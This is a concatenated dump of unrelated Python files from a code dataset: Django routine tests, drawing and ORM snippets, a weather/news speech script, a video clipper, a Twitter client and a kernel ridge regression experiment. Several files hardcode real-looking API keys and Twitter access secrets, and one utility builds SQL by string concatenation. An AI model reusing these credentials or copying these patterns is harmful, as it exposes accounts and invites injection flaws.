bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertTrue(bruce_data['success'])\n routine_data = bruce_data['routine']\n self.assertEqual(routine_data['name'], updated_routine['name'])\n self.assertEqual(routine_data['public'], updated_routine['public'])\n self.assertEqual(routine_data['description'], updated_routine['description'])\n self.assertEqual(routine_data['pk'], routine_pk)\n\n def test_update_fail(self):\n routine_pk = 1\n updated_routine = {\n 'name': 'complex',\n 'public': False,\n 'description': 'this routine is exceedingly complex'\n }\n partial_routine = {\n 'description': 'this should be a failure'\n }\n\n # it fails when the user is not logged in\n anon_resp = self.anon.post(\n reverse('update-routine', args=[routine_pk]),\n data=json.dumps(updated_routine),\n content_type='application/json'\n )\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertFalse(anon_data['success'])\n self.assertIn('errors', anon_data)\n\n # it fails when the updated data does not contain all fields\n bruce_resp = self.bruce.post(\n reverse('update-routine', args=[routine_pk]),\n data=json.dumps(partial_routine),\n content_type='application/json'\n )\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertFalse(bruce_data['success'])\n self.assertIn('errors', bruce_data)\n\n # it fails when the user is not the creator\n arnold_resp = self.arnold.post(\n reverse('update-routine', args=[routine_pk]),\n data=json.dumps(updated_routine),\n content_type='application/json'\n )\n self.assertEqual(arnold_resp.status_code, 200)\n self.assertEqual(\n arnold_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n arnold_data = arnold_resp.json()\n self.assertFalse(arnold_data['success'])\n self.assertIn('errors', arnold_data)\n\n def test_bad_request_method(self):\n urls = [\n (reverse('public-routines'), 'POST'),\n (reverse('user-routines'), 'POST'),\n (reverse('add-routine'), 'GET'),\n (reverse('routine', args=[10]), 'POST'),\n (reverse('delete-routine', args=[2]), 'GET'),\n (reverse('update-routine', args=[1]), 'GET')\n ]\n for url, method in urls:\n resp = self.bruce.generic(method, url)\n self.assertEqual(resp.status_code, 405)\n","sub_path":"trainer/workout/tests/views/test_routine_views.py","file_name":"test_routine_views.py","file_ext":"py","file_size_in_byte":10890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"192145024","text":"side = 200\nnewPage(side, side)\n\npadding = 10\ngap = 5\n\nrows = 9\ncols = rows\n\nmaxDiam = (side - padding * 2 - gap * (rows - 1)) / rows\n\nlight = .8\ndark = .2\neven = light\nodd = dark\n\ncounter = 0\nwhile counter < rows * cols:\n if (counter // rows) % 2 == 0:\n diam = (maxDiam / cols) + (counter % cols) * (maxDiam - maxDiam / cols) / (cols - 1)\n else:\n diam = (maxDiam / cols) + (cols - counter % cols - 1) * (maxDiam - maxDiam / cols) / (cols - 1)\n \n x = padding + (maxDiam - diam) / 2 + (maxDiam + gap) * (counter % cols)\n y = padding + (maxDiam - diam) / 2 + (maxDiam + gap) * (counter // rows)\n \n if counter % 2 == 0:\n fill(odd)\n else:\n fill(even)\n\n oval(x, y, diam, diam)\n counter += 1\n \n print(round(x, 1), round(y, 1), round(diam, 1))","sub_path":"boustrophedonic-ovals.py","file_name":"boustrophedonic-ovals.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"16318562","text":"from sqlalchemy import Column, Integer, String, DATETIME, ForeignKey, Text\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, backref\nfrom resources.database import Base\n\nclass Photo(Base):\n __tablename__ = 'photo'\n\n pid = Column(Integer, primary_key=True)\n image = Column(String(100), unique=True, nullable=False)\n content = Column(Text)\n created_at = Column(DATETIME)\n album_aid = Column(Integer, ForeignKey('album.aid'))\n album = relationship('Album', backref=backref('photos', order_by=pid))\n\n def __init__(self, image=None, content=None, created_at=None):\n self.image = image\n self.content = content\n self.created_at = created_at","sub_path":"models/photo.py","file_name":"photo.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"240918007","text":"from aip import AipSpeech\nimport json\nimport urllib\nimport pygame\nimport time\nimport eyed3\nimport sys\nimport os\n#sys.setdefaultencoding('utf-8')\n\nbaidu_APP_ID = '17299746'\nbaidu_API_KEY = 'lHUQUx9TD0IijABK2VpAQplh'\nbaidu_SECRET_KEY = '8NugvwVtvkcA7dxWAfNYXfa0D3LeAsa4'\n\n\ndef playmusic(music, times):\n music_file = eyed3.load(music)\n secs = int(music_file.info.time_secs)\n sample_freq = int(music_file.info.sample_freq)\n pygame.mixer.init(frequency=sample_freq)\n pygame.mixer.music.load(music)\n\n pygame.mixer.music.play()\n #os.system('mplayer %s' % music)\n if times == 'auto':\n time.sleep(secs)\n else:\n time.sleep(times)\n pygame.mixer.music.stop()\n #os.system('mplayer q')\n\n\ndef word2speech(str, type):\n client = AipSpeech(baidu_APP_ID, baidu_API_KEY, baidu_SECRET_KEY)\n result = client.synthesis(str, 'zh', 1, {\n 'vol': 5,\n })\n soud_name = './data/'+type+'_auido.mp3'\n if not isinstance(result, dict):\n with open(soud_name, 'wb') as f:\n f.write(result)\n f.close()\n os.system('mplayer %s' % soud_name)\n\n\n\nweather_app_key = '04ff5e899833087159256726d6c1e684'\n\n\ndef request_weather(city):\n url = \"http://op.juhe.cn/onebox/weather/query\"\n params = {\n \"cityname\": city, # 要查询的城市,如:温州、上海、北京\n \"key\": weather_app_key, # 应用APPKEY(应用详细页查询)\n \"dtype\": \"\", # 返回数据的格式,xml或json,默认json\n\n }\n params = urllib.parse.urlencode(params).encode(encoding='UTF-8')\n f = urllib.request.urlopen(url, params)\n content = f.read()\n res = json.loads(content)\n if res:\n error_code = res[\"error_code\"]\n if error_code == 0:\n # 成功请求\n print(res[\"result\"])\n return res\n else:\n print(\"%s:%s\" % (res[\"error_code\"], res[\"reason\"]))\n return 'NO DATA'\n else:\n print(\"request api error\")\n return 'NO DATA'\n\n\nnews_app_key = '11c0c9885bc4c6433930a8aab25a0754'\n\n\ndef request_news(contant):\n url = \"http://v.juhe.cn/toutiao/index\"\n params = {\n # top(头条,默认),shehui(社会),guonei(国内),guoji(国际),yule(娱乐),tiyu(体育)junshi(军事),keji(科技),caijing(财经),shishang(时尚)\n \"type\": contant,\n \"key\": news_app_key, # 应用APPKEY(应用详细页查询)\n }\n params = urllib.parse.urlencode(params).encode(encoding='UTF-8')\n f = urllib.request.urlopen(url, params)\n content = f.read()\n res = json.loads(content)\n if res:\n error_code = res[\"error_code\"]\n if error_code == 0:\n # 成功请求\n print(res[\"result\"])\n return res\n else:\n print(\"%s:%s\" % (res[\"error_code\"], res[\"reason\"]))\n return 'NO DATA'\n else:\n print(\"request api error\")\n return 'NO DATA'\n\n\ndef read_weather(cityname):\n weather_data = request_weather(cityname)\n if weather_data != 'NO DATA':\n read_weather_data = '早上好,今天'+cityname+'天气' + weather_data['result']['data']['realtime']['weather']['info'] + \\\n ',实时气温' + \\\n weather_data['result']['data']['realtime']['weather']['temperature'] + \\\n '摄制度.空气湿度,百分之' + \\\n weather_data['result']['data']['realtime']['weather']['humidity'] + \\\n weather_data['result']['data']['realtime']['wind']['direct'] + \\\n weather_data['result']['data']['realtime']['wind']['power'] + \\\n ', 新的一天,要有个好心情哟'\n dt = list(time.localtime())\n result = str(dt[0])+str(dt[1])+str(dt[2])+str(dt[3])+str(dt[4])+'weather'\n word2speech(read_weather_data, result)\n\n\ndef read_news(contant, num):\n news_data = request_news(contant)\n read_data = ''\n if news_data != 'NO DATA':\n for num in range(num):\n read_data += '今日要闻, 第' + \\\n str(num+1)+'条, ' + \\\n news_data[\"result\"]['data'][num]['title']+'. '\n read_data += '今日要闻播报完毕, 记得吃早餐哟!'\n dt = list(time.localtime())\n result = str(dt[0])+str(dt[1])+str(dt[2])+str(dt[3])+str(dt[4])+'news'\n word2speech(read_data, result)\n\n# while True:\n# data={}\n# with open(\"set.json\",'r',encoding='utf-8') as json_file:\n# data=json.load(json_file)\n# json_file.close()\n# dt = list(time.localtime()) \n# hour = dt[3] \n# minute = dt[4] \n# print(hour)\n# print(minute)\n# if hour == data['hour'] and minute == data['minute'] :\n# playmusic('back.mp3',20)\n# read_weather(data['city'])\n# playmusic('back.mp3',5)\n# read_news(data['content'],5)\n# time.sleep(5)\n\n# data={}\n# with open(\"set.json\",'r',encoding='utf-8') as json_file:\n# data=json.load(json_file)\n# json_file.close()\n# # playmusic('back.mp3',20)\n# read_weather(data['city'])\n# # playmusic('back.mp3',5)\n# read_news(data['content'],5)\n","sub_path":"kernel.py","file_name":"kernel.py","file_ext":"py","file_size_in_byte":5015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"53992485","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.9-x86_64/egg/tfnz/cli/tfvolumes.py\n# Compiled at: 2018-08-12 21:56:11\n# Size of source mod 2**32: 1925 bytes\nimport sys\nfrom tfnz.cli import generic_cli, base_argparse\n\ndef main():\n parser = base_argparse('tfvolumes')\n subparsers = parser.add_subparsers(title='commands', dest='command')\n p_list = subparsers.add_parser('list', help='list available volumes')\n p_create = subparsers.add_parser('create', help='create a volume')\n p_create.add_argument('--sync', action='store_true', help='force synchronous updates')\n p_create.add_argument('tag', nargs='?', help='give the volume a tag')\n p_delete = subparsers.add_parser('destroy', help='destroy a volume')\n p_delete.add_argument('uuid')\n generic_cli(parser, {'list':list_vol, 'create':create_vol, 'destroy':destroy_vol})\n\n\ndef list_vol(location, args):\n for vol in location.all_volumes():\n print(vol.display_name())\n\n\ndef create_vol(location, args):\n vol = location.create_volume(tag=(args.tag), asynchronous=(not args.sync))\n print(vol.display_name())\n\n\ndef destroy_vol(location, args):\n try:\n vol = location.volumes.get((location.user_pk), key=(args.uuid))\n location.destroy_volume(vol)\n except KeyError:\n print(\"Can't find volume: \" + args.uuid)\n exit(1)\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/tfnz-1.3.4-py3.7/tfvolumes.cpython-37.py","file_name":"tfvolumes.cpython-37.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"467689648","text":"import src.python.sessions.databasesession as db\r\nfrom src.python.enums.devicetype import DeviceType\r\nfrom src.python.sessions import databasesession\r\nfrom src.python.sessions.databasesession import connect_to_icarus_database\r\n\r\n\r\nicarus_cursor = databasesession.get_icarus_cursor()\r\n\r\n\r\ndef get_device_type(device_id):\r\n sql ='select name from devices_types where id = ' \\\r\n '(select device_type_id from devices where id = ' + str(device_id) + ');'\r\n sql = sql.rstrip().rstrip(';')\r\n name = fetch_valueof_column(sql, \"name\")\r\n if name == DeviceType.LONER_SMD.get_name:\r\n return DeviceType.LONER_SMD\r\n else:\r\n raise ValueError('Invalid device name: '+ name)\r\n\r\n\r\ndef fetch_valueof_column(sql, column_name):\r\n if type(sql) is not str:\r\n raise TypeError(\"The field 'sql' should be of type String. It is of type: \"+ str(type(sql)))\r\n if type(column_name) is not str:\r\n raise TypeError(\"The field 'column_name' should be of type String. It is of type: \"+ str(type(column_name)))\r\n for s in str(sql).split(\";\"):\r\n icarus_cursor.execute(s)\r\n row = icarus_cursor.fetchone()\r\n return row[0]\r\n","sub_path":"src/python/utils/databaseutils.py","file_name":"databaseutils.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"322897150","text":"import time\nimport re\nimport os\nimport shutil\nimport cv2\nimport math\nimport numpy as np\nimport PIL\nfrom PIL import Image \nimport pytesseract\nimport moviepy\nfrom moviepy.editor import *\nimport enum\nimport argparse\nimport pathlib\nfrom pathlib import Path\nimport configparser\nfrom readconfig import get_config_section, write_config\nfrom readtextfile import read_file, read_ts_file\nfrom util import convert_short_timestamp\n\n# Set up pytesseract\ndef is_Windows():\n val = False\n if os.name == 'nt':\n val = True\n return val\n\nif is_Windows():\n pytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\nelse:\n from pytesseract import *\n\n# Using enum class create enumerations\nclass SEARCH_MODE(enum.Enum):\n FIND_GAME_TIME = 1\n USE_DIFF = 2\n SKIP_INTERMISSION = 3\n\n# Global Variables\nvideo_file = 'G22-H2.mp4'\ntext_file = 'timestamp-G22-H2.txt'\ngame_words = ['Michigan', 'Wisconsin', 'BTN', 'period']\nexp_dir = 'exp_clips'\n\nreg_string = '(0?[1-9]|1[0-9]):[0-5][0-9]|0:[0-5][0-9]|:[0-5][0-9]|[0-5][0-9]\\.[0-9]$|[0-9]{4}|[0-9]{3}|[0-9].[0-5][0-9]'\nreg_pattern = re.compile(reg_string)\n\nfps=60\nframe_msec=0\n\nconfig_dict = None\n\nbox_x1=0\nbox_x2=0\nbox_y1=0\nbox_y2=0\n\ntime_box_defined = False\nperiod = 1\n\ndef read_args():\n\n parser = argparse.ArgumentParser()\n\n #-s STARTTIME\n parser.add_argument(\"-s\", \"--starttime\", dest = \"starttime\", default = None, help=\"Start time\")\n #-o OBS Times\n parser.add_argument(\"-m\", \"--mode\", dest = \"mode\", default = None, help = \"Mode. Use 'obs' for timestamps, otherwise OCR will be used.\")\n \n return parser.parse_args()\n\ndef read_file(txt_file, starttime):\n times = []\n checkstart = False\n paststart = True\n\n if starttime:\n checkstart = True\n paststart = False\n\n with open(txt_file, 'r') as f:\n for line in f:\n m = re.search(reg_pattern, line)\n if m:\n m_string = m.group()\n if checkstart:\n if m_string == starttime:\n checkstart = False\n paststart = True\n if paststart:\n times.append(m_string)\n\n print(\"timestamps:\", times)\n return times\n\ndef create_clip_dir(starttime):\n if os.path.exists(exp_dir) and not starttime:\n shutil.rmtree(exp_dir)\n os.makedirs(exp_dir)\n elif not os.path.exists(exp_dir):\n os.makedirs(exp_dir)\n\ndef is_game_screen(game_words, search_text):\n print(\"Search_text:\", search_text)\n print(\"game_words:\", game_words)\n for word in game_words:\n if word.lower() in search_text.lower():\n return True\n return False\n\n\ndef get_image_text(image, save_image):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n inverted = np.invert(image)\n\n text = pytesseract.image_to_string(inverted,lang='eng',config='--psm 10 --oem 3')\n text = ' '.join(text.split())\n\n if save_image:\n print(\"Printing test image - CROPPED\")\n cv2.imwrite('test-transformed.png', inverted)\n return text\n\ndef define_timebox_coords(image, game_time):\n screen_info = pytesseract.image_to_boxes(image)\n time_chars = list(game_time)\n time_len = len(game_time)\n\n global time_box_defined\n\n lines = screen_info.splitlines()\n i=0\n j=1\n buffer = 20\n match = False\n\n height, width, channels = image.shape\n\n print(\"Checking coords for timebox\")\n print(\"time_chars: \", time_chars)\n for line in lines:\n if (line[0] == time_chars[0]):\n print(\"Match of first character\")\n match = True\n while (j < time_len):\n print(\"j:\", j)\n print(\"lines[i+j][0]:\", lines[i+j][0])\n print(\"time_chars[j]:\", time_chars[j])\n if (lines[i+j][0] != time_chars[j]):\n match = False\n j = 1\n break\n j += 1\n if (match):\n print(\"Setting box coordinates\")\n #set our coordinates\n test = lines[i].split()\n\n global box_x1, box_x2, box_y1, box_y2\n\n box_x1 = int(lines[i].split()[1]) - buffer\n box_x2 = int(lines[i+j-1].split()[3]) + buffer\n\n box_y1 = height - int(lines[i+j-1].split()[4]) - buffer\n box_y2 = height - int(lines[i].split()[2]) + buffer\n\n print(\"box_x1:\", box_x1)\n print(\"box_x2:\", box_x2)\n print(\"box_y1\", box_y1)\n print(\"box_y2\", box_y2)\n \n time_box_defined = True\n \n break\n\n i += 1\n return time_box_defined\n\ndef parse_game_time(time_str):\n time = time_str\n\n reg_string = '[0-9]{4}|[0-9]{3}'\n reg_pattern = re.compile(reg_string)\n\n dot_string = '[0-9].[0-5][0-9]'\n dot_pattern = re.compile(dot_string)\n\n if reg_pattern.match(time_str):\n index = int(len(time_str) / 2)\n print(\"index:\", index)\n time = time_str[:index] + ':' + time_str[index:]\n elif dot_pattern.match(time_str):\n time = time_str.replace('.', ':')\n\n return time\n\ndef get_game_time(image):\n time = None\n global time_box_defined, reg_pattern\n \n if (image.any()):\n\n if (time_box_defined):\n image = image[box_y1:box_y2, box_x1:box_x2]\n text = get_image_text(image, False)\n print(\"text:\", text)\n game_time = re.search(reg_pattern, text)\n print(\"game_time:\", game_time)\n if game_time:\n game_time = game_time.group().strip()\n game_screen = reg_pattern.match(game_time)\n else:\n game_screen = False\n else:\n print(\"time box not defined\")\n text = pytesseract.image_to_string(image,lang='eng')\n text = ' '.join(text.split())\n print(\"text:\", text)\n game_time = re.search(reg_pattern, text)\n print(\"game_time:\", game_time)\n if game_time:\n game_time = game_time.group().strip()\n game_screen = is_game_screen(game_words, text)\n print(\"game_screen:\", game_screen)\n\n if game_time and game_screen:\n time = parse_game_time(game_time)\n\n if not time_box_defined:\n time_box_defined = define_timebox_coords(image, time)\n\n return time\n\ndef get_str(time_sec):\n\n time_msec = time_sec * 1000\n total_frames = time_msec / frame_msec\n fph = fps**3\n fpm = fps**2\n\n hours_int = int(total_frames / fph)\n total_frames = total_frames - (hours_int*fph)\n\n minutes_int = int(total_frames / fpm)\n total_frames = total_frames - (minutes_int*fpm)\n\n seconds_int = int(total_frames / fps)\n frames = total_frames - (seconds_int*fps)\n\n return '%02d:%02d:%02d:%02d' % (hours_int, minutes_int, seconds_int, int(frames))\n\ndef get_sec(time_str):\n if (':' in time_str):\n m, s = time_str.split(':')\n else:\n m = None\n s = int(float(time_str))\n if m and s:\n total_sec = int(m) * 60 + int(s)\n else:\n total_sec = int(s)\n return total_sec\n\ndef convert_long_timestamp(time_str):\n global frame_msec\n h,m,s,f = time_str.split(':')\n\n h_msec = int(h) * 3600 * 1000\n m_msec = int(m) * 60 * 1000\n s_msec = int(s) * 1000\n f_msec = int(f) * frame_msec\n\n total_sec = h_msec + m_msec + s_msec + f_msec\n\n return total_sec\n\ndef escape_filename(filename):\n return filename.replace(\":\", \"-\")\n\ndef move_playhead(vidcap, time_diff, mode, prev_time, count):\n curr_time = vidcap.get(cv2.CAP_PROP_POS_MSEC)\n\n if (mode == SEARCH_MODE.FIND_GAME_TIME):\n if (time_diff >= 0):\n skip_time = 1/6\n elif (time_diff < 0):\n skip_time = -(1/6)\n\n if count >= 10:\n skip_time = skip_time * (count / 10)\n\n elif (mode == SEARCH_MODE.USE_DIFF):\n skip_time = time_diff\n if (abs(time_diff) <= 2):\n skip_time *= (1/6)\n if (skip_time < 0):\n skip_time -= 1\n\n elif (mode == SEARCH_MODE.SKIP_INTERMISSION):\n skip_time = prev_time + (60*30)\n\n new_time = curr_time + (skip_time * 1000)\n print (\"skip_time : \", skip_time)\n vidcap.set(cv2.CAP_PROP_POS_MSEC, new_time)\n\ndef cut_clip(vidcap, game_time):\n clip = VideoFileClip(video_file)\n\n vidcap_pos = (vidcap.get(cv2.CAP_PROP_POS_MSEC) / 1000)\n\n #TODO - make this configurable\n start_ts = vidcap_pos - 7\n end_ts = vidcap_pos + 3\n\n clip = clip.subclip(start_ts, end_ts)\n filename = os.path.join(exp_dir, 'P' + str(period) + '_' + game_time.strip() + '_' + get_str(vidcap_pos) + '.mp4')\n escaped_filename = escape_filename(filename)\n clip.write_videofile(escaped_filename, temp_audiofile='temp.mp3')\n\ndef get_next_time(time_str):\n return convert_short_timestamp(time_str)\n\ndef export_clips(timestamps, videoFile):\n vidcap = cv2.VideoCapture(videoFile)\n time_str = timestamps.pop(0)\n vidcap.set(cv2.CAP_PROP_POS_MSEC, get_next_time(time_str))\n success,image = vidcap.read()\n\n fps = vidcap.get(cv2.CAP_PROP_FPS)\n print(fps)\n global frame_msec\n frame_msec = 1000 / fps\n\n while success:\n # Read in frame\n success, image = vidcap.read()\n \n pos = get_str(vidcap.get(cv2.CAP_PROP_POS_MSEC) / 1000)\n print(\"Position: \" + pos)\n\n cut_clip(vidcap, time_str)\n\n time_str = timestamps.pop(0)\n vidcap.set(cv2.CAP_PROP_POS_MSEC, get_next_time(time_str))\n\ndef create_clips(timestamps, videoFile):\n\n # Create our video capture object\n vidcap = cv2.VideoCapture(videoFile)\n vidcap.set(cv2.CAP_PROP_POS_MSEC, 60*5*1000)\n success,image = vidcap.read()\n \n # Set up the initial target time\n target_time = get_sec(timestamps.pop(0))\n time_diff = 10\n prev_time = 0\n \n # How many MS per frame\n fps = vidcap.get(cv2.CAP_PROP_FPS)\n print(fps)\n global frame_msec\n frame_msec = 1000 / fps\n\n # Set our mode to search for game time\n mode = SEARCH_MODE.FIND_GAME_TIME\n count = 0\n\n global time_box_defined\n global period\n global config_dict\n\n while success:\n # Read in frame\n success, image = vidcap.read()\n pos = get_str(vidcap.get(cv2.CAP_PROP_POS_MSEC) / 1000)\n print(\"Position: \" + pos)\n print(\"Count: \" + str(count))\n # Parse the time from the image ex. 19:34\n game_time = get_game_time(image)\n\n if (game_time):\n print (\"Found game time: \", game_time)\n \n mode = SEARCH_MODE.USE_DIFF\n\n #Convert our timestamp (19:34) to seconds (543)\n game_time_sec = get_sec(game_time)\n\n if (game_time_sec == target_time):\n print(\"Matched time: \", game_time)\n cut_clip(vidcap, game_time)\n prev_time = target_time\n target_time = get_sec(timestamps.pop(0))\n \n #This is the case that we've found a period end\n if (target_time > prev_time):\n mode = SEARCH_MODE.SKIP_INTERMISSION\n period += 1\n config_dict = write_config('TIMESTAMPS', {'test', 8})\n \n #Calculate the difference needed to get to target\n time_diff = game_time_sec - target_time\n count=0\n \n else:\n mode = SEARCH_MODE.FIND_GAME_TIME\n count += 1\n\n move_playhead(vidcap, time_diff, mode, prev_time, count)\n print (\"\\n\")\n\n vidcap.release()\n print(\"Complete\")\n\ndef main():\n\n # Read in command line arguments\n args = read_args()\n\n # Read in config dict\n global config_dict\n config_dict = get_config_section()\n\n # Set up the directory for our exports\n create_clip_dir(args.starttime)\n\n # Read the tiemstamps into a list\n # Create a clip for each timestamp\n if args.obs == 'obs':\n timestamps = read_ts_file(text_file)\n export_clips(timestamps, video_file)\n else:\n timestamps = read_file(text_file, args.starttime)\n create_clips(timestamps, video_file)\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"game-clipper.py","file_name":"game-clipper.py","file_ext":"py","file_size_in_byte":12201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"122645200","text":"import tweepy\n\n\n#These get me the APP and my personal key\naccess_token = \"2980642296-DhGM52aqKOiv1ujIgbxOdOCc1g8DgSoi9LnAFXT\"\naccess_token_secret = \"YaVrJNeEdp7O5ulWkXmbzcSzS4JkK85BWgQvN2Qq95Pat\"\nconsumer_key = \"ES9oS0bpmdZQHhje1XrfPpqFx\"\nconsumer_secret = \"sUucyVHDSCjKtMWzf6K7h5S77k6XTgFwZrHrFQG7ShcO5JyEdW\"\n\n\n#Gets authorization\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\n#The api object has now been created. We totally wait for rate limits to refresh I guess?\napi = tweepy.API(auth_handler=auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\n","sub_path":"InterpretationEngines/Twitter/twitterAccess.py","file_name":"twitterAccess.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"322261140","text":"import csv\nimport pandas as pd\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom scipy.linalg import solve_triangular\n\ndef normalize(inp):\n ln = len(inp)\n lenn = len(inp[0])\n for i in range(lenn):\n mx = inp[0][i]\n mn = inp[0][i]\n for j in range(ln):\n if(inp[j][i] > mx):\n mx = inp[j][i]\n if(inp[j][i] < mn):\n mn = inp[j][i]\n delt = mx - mn\n for j in range(ln):\n inp[j][i] = (inp[j][i] - mn)/delt\n return inp\n\ndef k(x, x1):\n ln = len(x)\n ans = 0\n for i in range(ln):\n ans += ((x[i]-x1[i])**2)\n return math.exp(-ans)\n\ndef datasplit(table):\n ln = len(table)\n lenn = len(table[0])\n inp = []\n out = []\n for i in range(ln):\n inp.append([])\n for j in range(lenn-1):\n inp[i].append(table[i][j])\n out.append(table[i][lenn-1])\n return inp, out\n\ndef Cholesky(A, b):\n L = np.linalg.cholesky(A)\n L1 = L.T.conj()\n y = solve_triangular(L, b, lower=True)\n x = solve_triangular(L1, y, lower=False)\n return x\n\ndef AplusLambdaI(lmbd, A):\n ln = len(A)\n for i in range(ln):\n A[i][i] += lmbd\n return A\n\ndef kernelRidge(inp, out, x, lmbd):\n ln = len(inp)\n #print(ln)\n A = []\n for i in range(ln):\n A.append([])\n for j in range(ln):\n A[i].append([])\n A[i][j] = k(inp[i], inp[j])\n #print(k(inp[i], inp[j]))\n #lmbd = 0.001\n A1 = AplusLambdaI(lmbd, A)\n #print(A)\n alpha = Cholesky(A1, out)\n Y = []\n for i in range(len(x)):\n Y.append([])\n Y[i] = 0\n for j in range(len(alpha)):\n # print(len(inp))\n # print(len(alpha))\n # print(len(x))\n Y[i] += alpha[j]*k(x[i], inp[j])\n return Y\n\ndef l2loss(yexpect, yreal):\n return ((yexpect - yreal)**2)\n\ndef k_folds_cross(data, labels, kernelRidge, K, lmbd):\n ln = len(data)\n split = np.random.permutation(ln)\n folds_index = []\n for i in range(K):\n folds_index.append(split[int(ln*i/K):int(ln*(i+1)/K)])\n error = 0\n for i in range(K):\n validation_data = []\n validation_label = []\n training_data = []\n training_label = []\n for j in range(len(folds_index[i])):\n validation_data.append(data[folds_index[i][j]])\n validation_label.append(labels[folds_index[i][j]])\n for l in range(0,i):\n for j in range(len(folds_index[l])):\n training_data.append(data[folds_index[l][j]])\n training_label.append(labels[folds_index[l][j]])\n for l in range(i+1,K):\n for j in range(len(folds_index[l])):\n training_data.append(data[folds_index[l][j]])\n training_label.append(labels[folds_index[l][j]])\n #print(validation_data)\n #print(validation_label)\n #print(training_data)\n #print(training_label)\n predicted_labels = kernelRidge(training_data, training_label, validation_data, lmbd)\n errorx = 0\n for i in range(len(validation_label)):\n errorx = errorx + l2loss(predicted_labels[i], validation_label[i])\n errorx *= (1/len(validation_data))\n error += errorx\n error *= (1/K)\n return error\n\ntable = np.array(pd.read_csv('winequality-red.csv', ';'))\ninp, out = datasplit(table)\ninp = normalize(inp)\n\nld = [100, 1, 0.1, 0.001, 0.00001]\nprint(\"Each plot generates long (~15 sec) because of many datapoints\")\nprint(\"Please, be patient, calculations take time, 0/5 plot generated\")\nN = [8, 16, 32, 64, 128, 256, 512, 1024]\ny = []\nfor j in range(len(N)):\n split = np.random.permutation(len(inp))\n training = split[:N[j]]\n data = []\n label = []\n for i in training:\n data.append(inp[i])\n label.append(out[i])\n #print(data)\n #print(label)\n y.append(k_folds_cross(data, label, kernelRidge, 3, 100))\nplot = plt.figure('lambda = 100')\nplt.xscale('log')\nplt.yscale('log')\nplt.plot(N, y, color = 'r', label = \"Error function\")\nplt.legend()\n\nprint(\"Please, be patient, calculations take time, 1/5 plot generated\")\nN = [8, 16, 32, 64, 128, 256, 512, 1024]\ny = []\nfor j in range(len(N)):\n split = np.random.permutation(len(inp))\n training = split[:N[j]]\n data = []\n label = []\n for i in training:\n data.append(inp[i])\n label.append(out[i])\n #print(data)\n #print(label)\n y.append(k_folds_cross(data, label, kernelRidge, 3, 1))\nplot = plt.figure('lambda = 1')\nplt.xscale('log')\nplt.yscale('log')\nplt.plot(N, y, color = 'r', label = \"Error function\")\nplt.legend()\n\nprint(\"Please, be patient, calculations take time, 2/5 plot generated\")\nN = [8, 16, 32, 64, 128, 256, 512, 1024]\ny = []\nfor j in range(len(N)):\n split = np.random.permutation(len(inp))\n training = split[:N[j]]\n data = []\n label = []\n for i in training:\n data.append(inp[i])\n label.append(out[i])\n #print(data)\n #print(label)\n y.append(k_folds_cross(data, label, kernelRidge, 3, 0.1))\nplot = plt.figure('lambda = 0.1')\nplt.xscale('log')\nplt.yscale('log')\nplt.plot(N, y, color = 'r', label = \"Error function\")\nplt.legend()\n\nprint(\"Please, be patient, calculations take time, 3/5 plot generated\")\nN = [8, 16, 32, 64, 128, 256, 512, 1024]\ny = []\nfor j in range(len(N)):\n split = np.random.permutation(len(inp))\n training = split[:N[j]]\n data = []\n label = []\n for i in training:\n data.append(inp[i])\n label.append(out[i])\n #print(data)\n #print(label)\n y.append(k_folds_cross(data, label, kernelRidge, 3, 0.001))\nplot = plt.figure('lambda = 0.001')\nplt.xscale('log')\nplt.yscale('log')\nplt.plot(N, y, color = 'r', label = \"Error function\")\nplt.legend()\n\nprint(\"Please, be patient, calculations take time, 4/5 plot generated\")\nN = [8, 16, 32, 64, 128, 256, 512, 1024]\ny = []\nfor j in range(len(N)):\n split = np.random.permutation(len(inp))\n training = split[:N[j]]\n data = []\n label = []\n for i in training:\n data.append(inp[i])\n label.append(out[i])\n #print(data)\n #print(label)\n y.append(k_folds_cross(data, label, kernelRidge, 3, 0.00001))\nplot = plt.figure('lambda = 0.00001')\nplt.xscale('log')\nplt.yscale('log')\nplt.plot(N, y, color = 'r', label = \"Error function\")\nplt.legend()\nprint(\"Thanks for your patience, 5/5 plot generated :)\")\nprint(\"Also it can be seen that actually lambda = 0.1 is one of the best 